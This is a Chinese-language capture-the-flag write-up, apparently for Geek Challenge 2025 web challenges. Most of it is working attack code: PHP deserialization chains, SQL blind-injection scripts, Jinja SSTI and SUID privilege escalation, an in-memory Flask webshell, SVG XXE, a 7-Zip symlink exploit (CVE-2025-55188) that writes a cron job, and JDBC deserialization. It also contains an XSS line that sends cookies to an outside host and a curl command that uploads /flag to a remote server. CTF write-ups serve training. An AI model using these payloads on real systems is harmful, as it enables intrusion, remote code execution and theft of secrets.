阿基里斯追乌龟

抓包修改 achilles_distanc ,改为和 tortoise_distanc 一样大:

alt

flag:

alt

Vibe SEO

获取站点地图 sitemap.xml

<urlset>
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>

访问 aa__^^.php,根据报错判断是个任意文件读取:

Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 3

文件名最长为10,正好读取 aa__^^.php

<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
  readfile($_GET['filename']);
} else {
  echo "Filename too long";
}

一开始用伪协议 php://fd 无法读取到flag,猜测是分配的fd比较大,改用 /dev/fd 来爆破 0~99,在 /dev/fd/13 读取到flag内容:

alt

Xross The Finish Line

过滤了空格,单双引号,script,error,img

xss窃取cookie:

<svg/onload=fetch(`http://ip:port/steal?c=${document.cookie}`)>

Expression

爆破出jwt密钥:secret,伪造jwt:

alt

猜测有ejs模板渲染:

alt

popself

index.php:

<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __set($name, $value){
        echo "他还是没有忘记那个".$value."<br>";
        echo "收集夏日的碎片吧<br>";

        $fox = $this->Fox;

        if ( !($fox instanceof All_in_one) && $fox()==="summer"){
            echo "QYQS enjoy summer<br>";
            echo "开启循环吧<br>";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
    }

    public function __invoke(){
        echo "恭喜成功signin!<br>";
        echo "welcome to Geek_Challenge2025!<br>";
        $f = $this->Samsāra;
        $arg = $this->ivory;
        $f($arg);
    }
    public function __destruct(){

        echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                die("boys和而不同<br>");
            }

            if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                echo "BOY♂ sign GEEK<br>";
                echo "开启循环吧<br>";
                $this->QYQS->partner = "summer";
            }
            else {
                echo "BOY♂ can`t sign GEEK<br>";
                echo md5(md5($this->KiraKiraAyu))."<br>";
                echo md5($this->K4per)."<br>";
            }
        }
        else{
            die("boys堂堂正正");
        }
    }

    public function __tostring(){
        echo "再走一步...<br>";
        $a = $this->_4ak5ra;
        $a();
    }

    public function __call($method, $args){        
        if (strlen($args[0])<4 && ($args[0]+1)>10000){
            echo "再走一步<br>";
            echo $args[1];
        }
        else{
            echo "你要努力进窄门<br>";
        }
    }
}

class summer {
    public static function find_myself(){
        return "summer";
    }
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
    unserialize($payload);
} else {
    echo "没有大家的压缩包的话,瓦达西!<br>";
}

?>

注意md5那部分需要最后0e后的都是数字才能绕过,否则仍被当作字符串比较无法绕过,还有后续科学计数法绕过时需要是字符串类型,否则长度会是数值的长度导致无法绕过strlen

__destruct() -> __set() -> __call() -> __tostring() -> __invoke(),exp:

<?php
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;
}

class summer {
    public static function find_myself(){
        return "summer";
    }
}

// __invoke
$obj1 = new All_in_one();
$obj1->Samsāra = "system";
$obj1->ivory = "env";

// __toString
$obj2 = new All_in_one();
$obj2->_4ak5ra = $obj1;

// __set+__call
$obj3 = new All_in_one();
$obj3->Fox = "summer::find_myself";
$obj3->komiko = $obj2;
$obj3->Eureka = "nonexistence";
$obj3->L = "1e5";	// $args[0]
$obj3->sleep3r = $obj2; // $args[1]

$obj4 = new All_in_one();
$obj4->KiraKiraAyu = "iv2Cn"; // f2WfQ
$obj4->K4per = "240610708";
$obj4->QYQS = $obj3;

echo urlencode(serialize($obj4));
?>

payload:

?24[SYC.zip=O%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3Bs%3A5%3A%22iv2Cn%22%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3Bs%3A9%3A%22240610708%22%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3Bs%3A6%3A%22system%22%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3Bs%3A3%3A%22env%22%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A3%3A%22Fox%22%3Bs%3A19%3A%22summer%3A%3Afind_myself%22%3Bs%3A6%3A%22Eureka%22%3Bs%3A12%3A%22nonexistence%22%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3Br%3A14%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3Bs%3A3%3A%221e5%22%3B%7Ds%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7D

alt

one last image

PNG头 + 短标签 绕过waf:

alt

flag在环境变量里:

alt

Sequal No Uta

单引号闭合:

alt

过滤了空格,注释符绕过:

alt

布尔盲注,先查 sqite_lmaster 表里的创建语句:

def sql():
    target = "http://019a6318-c732-7f8b-8582-ffeba4a20572.geek.ctfplus.cn/check.php"
    sql = ""
    
    for i in range(1,250): 
        for char in string.whitespace + "\n~!@#$%^&*()_+-=" + string.ascii_uppercase + string.ascii_lowercase + string.digits:
            payload = f"admin'/**/and/**/substr((select/**/group_concat(sql)/**/from/**/sqlite_master),{i},1)='{char}';"
            params = {"name": payload}

            resp = requests.get(url=target, params=params)
           
            if "该用户存在且活跃" in resp.text:
                sql += char
                print(f"Found: {sql}")
                break
    
    return sql

users 表创建语句:

CREATE TABLE users(
id INTEGER PRIMARYKEY AUTO INCREMENT
username TEXT UNIQUE NOT NULL
password TEXT UNIQUE NOT NULL
is_active INTEGER NOT NULL DEFAULT 1
secret TEXT )

查secret字段,字段里的值就是flag:

def secret():
    target = "http://019a6318-c732-7f8b-8582-ffeba4a20572.geek.ctfplus.cn/check.php"
    secret = ""

    for i in range(1,50): 
        for char in string.whitespace + "}{\n~!@#$%^&*()_+-=" + string.ascii_uppercase + string.ascii_lowercase + string.digits:
            payload = f"admin'/**/and/**/substr((select/**/group_concat(secret)/**/from/**/users),{i},1)='{char}';"
            params = {"name": payload}

            resp = requests.get(url=target, params=params)
           
            if "该用户存在且活跃" in resp.text:
                secret += char
                print(f"Found: {secret}")
                break
    
    return secret

ez_read

读取故事页面存在任意文件读取,测试一下就知道有个../的替换,读取 ....//app.py

from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
    print(len(payload))
    if not payload:
        return ""
        
    if len(payload) not in (114, 514):
        return payload.replace("(", "")
    else:
        waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
        for w in waf:
            if w in payload:
                raise ValueError(f"waf")

    return payload


@app.route("/")
def index():
    user = session.get("user")
    return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = (request.form.get("username") or "")
        password = request.form.get("password") or ""
        if not username or not password:
            return render_template("register.html", error="用户名和密码不能为空")
        if username in USERS:
            return render_template("register.html", error="用户名已存在")
        USERS[username] = {"password": password}
        session["user"] = username
        return redirect(url_for("profile"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = (request.form.get("username") or "").strip()
        password = request.form.get("password") or ""
        user = USERS.get(username)
        if not user or user.get("password") != password:
            return render_template("login.html", error="用户名或密码错误")
        session["user"] = username
        return redirect(url_for("profile"))
    return render_template("login.html")


@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))


@app.route("/profile")
def profile():
    user = session.get("user")
    if not user:
        return redirect(url_for("login"))
    name_raw = request.args.get("name", user)
    
    try:
        filtered = waf(name_raw)
        tmpl = f"欢迎,{filtered}"
        rendered_snippet = render_template_string(tmpl)
        error_msg = None
    except Exception as e:
        rendered_snippet = ""
        error_msg = f"渲染错误: {e}"
    return render_template(
        "profile.html",
        content=rendered_snippet,
        name_input=name_raw,
        user=user,
        error_msg=error_msg,
    )


@app.route("/read", methods=["GET", "POST"])
def read_file():
    user = session.get("user")
    if not user:
        return redirect(url_for("login"))

    base_dir = os.path.join(os.path.dirname(__file__), "story")
    try:
        entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
    except FileNotFoundError:
        entries = []

    filename = ""
    if request.method == "POST":
        filename = request.form.get("filename") or ""
    else:
        filename = request.args.get("filename") or ""

    content = None
    error = None

    if filename:
        sanitized = filename.replace("../", "")
        target_path = os.path.join(base_dir, sanitized)
        if not os.path.isfile(target_path):
            error = f"文件不存在: {sanitized}"
        else:
            with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
                content = f.read()

    return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=False)

/profile 路由下存在 ssti,构造114长度的payload,否则无法处理过滤括号

利用config缩短payload长度,flag需要root权限读取,查找suid权限文件:

{{config['__cl'+'ass__'].__init__['__glo'+'bals__']['os'].popen('find / -perm -u=s -type f 2>/dev/null').read() }}

/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/local/bin/env

查看env:

{{config['__cl'+'ass__'].__init__['__glo'+'bals__']['os'].popen('env').read()                                   }}

HINT=用我提个权吧

env后直接跟命令实现suid提权:

{{config['__cl'+'ass__'].__init__['__glo'+'bals__']['os'].popen('env cat /flag').read()                         }}

百年继承

正常流程:

上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
事件:上校使用 spear,采取 ambush 策略。世界线变动...
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...
处决成功
时间流逝:结局:命运如沙漏般倾泻……

上校继承于父亲,父亲继承于人类,自定义的 weapontactic 都是上校的属性,行刑队同样继承于人类,最后行刑执行的是人类的 execute_method 属性,页面回显是第三个操作结果

python 原型链污染,目标是将人类的 execute_method 第三个操作部分设置为命令执行结果

{
    "weapon": "spear", 
    "tactic": "ambush",
    "__class__": {
        "__base__": {
            "__base__": {
                "execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), __import__('os').popen('env').read())"
            }
        }
    }
}

ez-seralize

index.php:

<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
    $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
    foreach ($balcklist as $v) {
        if (strpos($filename, $v) !== false) {
            $error = "no no no";
            break;
        }
    }

    if ($error === null) {
        if (isset($_GET['serialized'])) {
            require 'function.php';
            $file_contents= file_get_contents($filename);
            if ($file_contents === false) {
                $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
            } else {
                $content = $file_contents;
            }
        } else {
            $file_contents = file_get_contents($filename);
            if ($file_contents === false) {
                $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
            } else {
                $content = $file_contents;
            }
        }
    }
} else {
    $error = null;
}
?>

    <?php if ($error !== null && $error !== ''): ?>
        <div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div>
    <?php endif; ?>
    <!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
    > /usr/local/etc/php/conf.d/zz-open_basedir.ini-->

    <?php if ($content !== null): ?>
        <div class="result" aria-live="polite">
            <div class="meta">
                <div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div>
                <div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div>
            </div>
            <div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div>
        </div>
    <?php elseif ($error === null && isset($_GET['filename'])): ?>
        <div class="alert warn">未能读取内容或文件为空。</div>
    <?php endif; ?>

function.php:

<?php
class A {
    public $file;
    public $luo;

    public function __construct() {
    }

    public function __toString() {
        $function = $this->luo;
        return $function();
    }
}

class B {
    public $a;
    public $test;

    public function __construct() {
    }

    public function __wakeup()
    {
        echo($this->test);
    }

    public function __invoke() {
        $this->a->rce_me();
    }
}

class C {
    public $b;

    public function __construct($b = null) {
        $this->b = $b;
    }

    public function rce_me() {
        echo "Success!\n";
        system("cat /flag/flag.txt > /tmp/flag");
    }
}

想找文件上传点,robots.txt:

User-agent: * 
Disallow: /var/www/html/uploads.php

uploads.php:

<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
    'txt'  => ['text/plain'],
    'log'  => ['text/plain'],
    'jpg'  => ['image/jpeg'],
    'jpeg' => ['image/jpeg'],
    'png'  => ['image/png'],
    'zip'  => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
    'gif'  => ['image/gif'],
    'gz'   => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];

    if ($file['error'] === UPLOAD_ERR_OK) {
        $originalName = $file['name'];
        $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
        if (!in_array($ext, $whitelist, true)) {
            die('File extension not allowed.');
        }

        $mime = $file['type'];
        if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
            die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
        }

        $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
        $safeBaseName = ltrim($safeBaseName, '.');
        $targetFilename = time() . '_' . $safeBaseName;

        file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

        $targetPath = $uploadDir . $targetFilename;
        if (move_uploaded_file($file['tmp_name'], $targetPath)) {
            @chmod($targetPath, 0644);
            $resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
        } else {
            $resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
        }
    } else {
        $resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
    }
}
?>

B.__wakeup() -> A.__toString() -> B.__invoke(),应该是要利用phar伪协议进行反序列化,exp:

<?php
class A {
    public $file;
    public $luo;
}

class B {
    public $a;
    public $test;
}

class C {
    public $b;
}


$obj1 = new C();
$obj2 = new B();
$obj2->a = $obj1;
$obj3 = new A();
$obj3->luo = $obj2;
$obj4 = new B();
$obj4->test = $obj3;

@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($obj4);
$phar -> stopBuffering();
?>

修改phar后缀名为jpg,上传文件后读取 /tmp/log.txt:

upload file success: 1762752974_phar.jpg, MIME: image/jpeg

根据 index.php 中关于 open_basedir 的信息:

<!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
    > /usr/local/etc/php/conf.d/zz-open_basedir.ini-->

可以直接访问上传的目录,后续直接phar反序列化上传文件即可,注意添加 serialized 参数用于包含 function.php

alt

最后读取 /tmp/flag 获取flag

eeeeezzzzzzZip

phar include RCE,将 phar 打包成 gz等压缩文件被 include 同样会执行stub中的php代码,exp:

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('cat /flag/flag.txt');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

alt

路在脚下

初步测试,ban了 before_request after_request error,由于网页无执行结果回显考虑打内存马创建路由

向 url_map 中新增一条 urlrule 创建 /shell 路由,payload1:

{{url_for.__globals__['__builtins__']['eval']("app.url_map.add(app.url_rule_class('/shell',methods=['GET'],endpoint='shell'))",{'app':url_for.__globals__['current_app']})}}

向 view_function 中添加对应 endpoint 的实现

{{url_for.__globals__['__builtins__']['eval']("app.view_functions.update({'shell':lambda:__import__('os').popen(app.request_context.__globals__['request_ctx'].request.args.get('cmd','whoami')).read()})",{'app':url_for.__globals__['current_app']})}}

访问 /shell,页面显示 root 表明路由创建成功,传参cmd实现rce

Image Viewer

允许上传的文件类型:

<input type="file" name="file" accept=".svg,image/svg+xml,.png,.jpg,.jpeg,.gif,image/*" />

svg XXE:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag" > ]>
<svg width="400px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

alt

PDF Viewer

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>

alt

有个弱口令用户,先尝试直接读 /proc/self/environ

alt

爆破管理员口令:

alt

路在脚下_revenge

同路在脚下

Xross The Doom

package.json:

{
  "name": "xross",
  "version": "1.0.0",
  "description": "oh, no!",
  "main": "server.js",
  "scripts": {
    "start": "node server.js",
    "dev": "NODE_ENV=development node server.js",
    "solve": "node solve.js",
    "bot": "node bot.js"
  },
  "author": "",
  "license": "MIT",
  "dependencies": {
    "cookie-parser": "^1.4.7",
    "express": "^5.1.0",
    "nanoid": "^5.1.6",
    "dompurify": "^3.3.0",
    "jsdom": "^27.1.0",
    "puppeteer": "^24.29.0"
  },
  "devDependencies": {}
}

dompurify是最新版本,不存在bypass的手段,考虑 DOM Clobbering

admin.js:

...
const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);

function buildTarget(base, sub) {
      const parts = (base + '/' + (sub || '')).split('/');
      const stack = [];
      for (const seg of parts) {
        if (seg === '..') {
          if (stack.length) stack.pop();
        } else if (seg && seg !== '.') {
          stack.push(seg);
        }
      }
      return '/' + stack.join('/');
    }

if (auto) {
      const target = buildTarget('/analytics', path);
      const qs = new URLSearchParams({ id, ua: navigator.userAgent });
      if (includeCookie) {
        qs.set('c', document.cookie);
      }
      fetch(target + '?' + qs.toString()).catch(() => {});
    }

只要能设置 autoincludeCookie 为true,最后fetch /log就可以在 /logs 中记录含有FLAG的 cookie

payload:

<a id=AUTO_SHARE></a><a id=CONFIG_COOKIE_DEBUG></a><form id=CONFIG_PATH action=../../log></form>

在网络中找到对应id,让bot去访问对应id内容,执行admin.js时因为构造好的CONFIG_PATH导致拼接时目录穿越,后续会自动去fetch /log

最后访问/logs

alt

77777 time task

app.py:

import os
from flask import Flask, jsonify, request
import subprocess

app = Flask(__name__)
UPLOAD_DIR="./uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
@app.route("/", methods=["GET"])
def index():
    return "Hello World"


@app.route("/upload", methods=["POST"])
def upload():
    if 'file' not in request.files:
        return jsonify({"status": "error", "message": "No file part"}), 400
    file = request.files['file']
    if file.filename == '':
        return jsonify({"status": "error", "message": "No selected file"}), 400
    sanitizeFilename=file.filename.replace("..", "").replace("/","")
    ext=sanitizeFilename.split(".")[-1]
    if ext != "7z":
        return jsonify({"status": "error", "message": "Only .7z files are allowed"}), 400
    filepath = os.path.join(UPLOAD_DIR, file.filename)
    file.save(filepath)

    ret=subprocess.run(["/tmp/7zz", "x", filepath],shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    if ret.returncode != 0:
        return jsonify({"status": "error", "message": "Failed to extract .7z file", "detail": ret.stderr.decode()}), 500
    return jsonify({"status": "success", "filename": file.filename})

@app.route("/listfiles", methods=["GET"])
def list_files():
    dir=request.args.get("dir", "./uploads")
    files = os.listdir(dir)
    return jsonify({"files": files})



if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000, debug=False)

执行 os.path.join 时没有使用过滤后的 sanitizeFilename,看上去有目录穿越的问题,但是前面有对于扩展名为7z的限制,所以实际上难以利用,最多是把7z后缀名的文件保存到其他目录

一开始想到软链接,但是7z解压默认把解压目录当作根目录,即/app,所有普通的软链接比如指向/tmp在这样的环境下被解压后都会指向/app/tmp,并且如果链接文件名带有目录穿越的内容,如 ../ 都会触发报错 ERROR: Dangerous link path was ignored

从Dockerfile能找到其他信息:

FROM python:3.11-slim

# Install cron and 7zip utilities required by the app
RUN apt-get update \
    && apt-get install -y --no-install-recommends cron wget xz-utils\
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app
RUN cd /tmp && \
    wget https://www.7-zip.org/a/7z2500-linux-x64.tar.xz \
    && tar -xvf 7z2500-linux-x64.tar.xz

# Copy the application code
COPY app/ ./
COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
RUN chmod +x /usr/local/bin/docker-entrypoint.sh

# Install Python dependencies
RUN pip install --no-cache-dir flask

EXPOSE 3000

ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"]

7z特意指定了一个版本25.00,搜了搜最近的漏洞,找到CVE-2025-55188,7z版本小于25.01都存在软链接处理问题,对于精心构造的恶意软链接处理时会导致目录穿越

docker-entrypoint.sh:

#!/bin/sh
set -e
if [ "$FLAG" ]; then
    INSERT_FLAG="$FLAG"
    export FLAG=no_FLAG
    FLAG=no_FLAG
else
    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

echo $INSERT_FLAG | tee /flag

/usr/sbin/cron

exec python app.py

结合题目名称以及 docker-entrypoint.sh 脚本里启动了cron的守护进程,考虑通过定时任务来实现rce

github上的poc:https://github.com/lunbun/CVE-2025-55188/blob/main/poc_extraction_root/make_arb_write_7z.sh

详细的漏洞分析:https://lunbun.dev/blog/cve-2025-55188/

对poc脚本稍作修改,本来想直接覆盖文件 /etc/crontab,但是会失败,后面通过写入 /etc/cron.d 目录进行定时任务达到同样的效果:

#!/bin/bash

#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#

olddir="$(pwd)"

tempdir="$(mktemp -d)"
cd "$tempdir"

mkdir -p a/b
ln -s /a a/b/link
7zz a arb_write.7z a/b/link -snl

ln -s a/b/link/../../ link
7zz a arb_write.7z link -snl
rm link

mkdir link
mkdir link/etc
mkdir link/etc/cron.d
echo "* * * * * root cp /flag /app/uploads/flag_\$(cat /flag)" > link/etc/cron.d/exploit
7zz a arb_write.7z link/etc/cron.d/exploit

cp arb_write.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"

上传文件后等待1分钟,就可以看到 /uploads 目录下有带有 /flag 文件内容的文件被写入了

curl -X POST 'http://019aaf50-29b9-78e3-bae1-2bc9d2bc9740.geek.ctfplus.cn/upload' -F 'file=@arb_write.7z'

alt

ezjdbc

jdbcController类:

package ctf.geekchallenge.ezjdbc.demos.web;

import java.sql.DriverManager;
import java.sql.SQLException;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: ezjdbc-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/ctf/geekchallenge/ezjdbc/demos/web/jdbcController.class */
public class jdbcController {
    static String CLASS_NAME = "com.mysql.cj.jdbc.Driver";

    @GetMapping({"/"})
    public String index() {
        return "Hello Jdbc";
    }

    @GetMapping({"/connect"})
    public String connect(@RequestParam("url") String url, @RequestParam("name") String name, @RequestParam("pass") String pass) throws SQLException {
        DriverManager.getConnection(url, name, pass);
        return url;
    }
}

java 1.8,mysql 8.0.19,Commons-Collections 3.2.1:

alt

url name都可控,打jdbc反序列化,利用工具创建 fake mysql server:https://github.com/4ra1n/mysql-fake-server/tree/master

curl外带flag,但是 $() 和反引号不知道为什么都不行,考虑 curl -T 上传文件 /flag到vps:

alt

payload:

/connect?url=jdbc:mysql://121.40.46.63:3308/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&name=base64ZGVzZXJfQ0MzMV9jdXJsIC1UIC9mbGFnIGh0dHA6Ly8xMjEuNDAuNDYuNjM6MjMzMy8=&pass=1

vps上搞个支持PUT方法的python http server:

import http.server
import socketserver
import os
import shutil

PORT = 2333 # 更改端口

class PutHandler(http.server.SimpleHTTPRequestHandler):
    """
    自定义 HTTP 请求处理程序,继承 SimpleHTTPRequestHandler 并实现 do_PUT 方法。
    """
    
    def do_PUT(self):
        """处理 PUT 请求,用于文件上传/替换"""
        
        # 确定目标文件路径 (确保路径安全,避免目录穿越)
        filename = os.path.basename(self.path)
        if not filename:
            self.send_error(400, "Bad Request: No filename provided")
            return
            
        file_path = os.path.join(os.getcwd(), filename)
        
        # 检查文件是否存在,以确定返回状态码 (200 OK 或 201 Created)
        if os.path.exists(file_path):
            response_code = 200 # 资源已存在,表示成功修改
        else:
            response_code = 201 # 资源是新建的

        try:
            # 1. 读取请求体中的数据
            length = int(self.headers['Content-Length'])
            
            # 2. 打开目标文件并写入数据
            with open(file_path, 'wb') as fout:
                # 使用 shutil.copyfileobj 来高效地复制数据流
                shutil.copyfileobj(self.rfile, fout, length)
            
            # 3. 发送成功响应
            self.send_response(response_code)
            self.end_headers()
            self.wfile.write(f"File '{filename}' uploaded/updated successfully.".encode('utf-8'))

        except Exception as e:
            self.send_error(500, f"Internal Server Error: {e}")
            
    # 可选:您也可以在这里实现 do_DELETE 等其他方法

# 启动服务器
with socketserver.TCPServer(("", PORT), PutHandler) as httpd:
    print(f"Serving at port {PORT}")
    print(f"Current directory: {os.getcwd()}")
    print("Ready to receive PUT requests...")
    httpd.serve_forever()

vps换成jdk1.8,启动cli版本:

java -jar fake-mysql-cli-0.0.4.jar

alt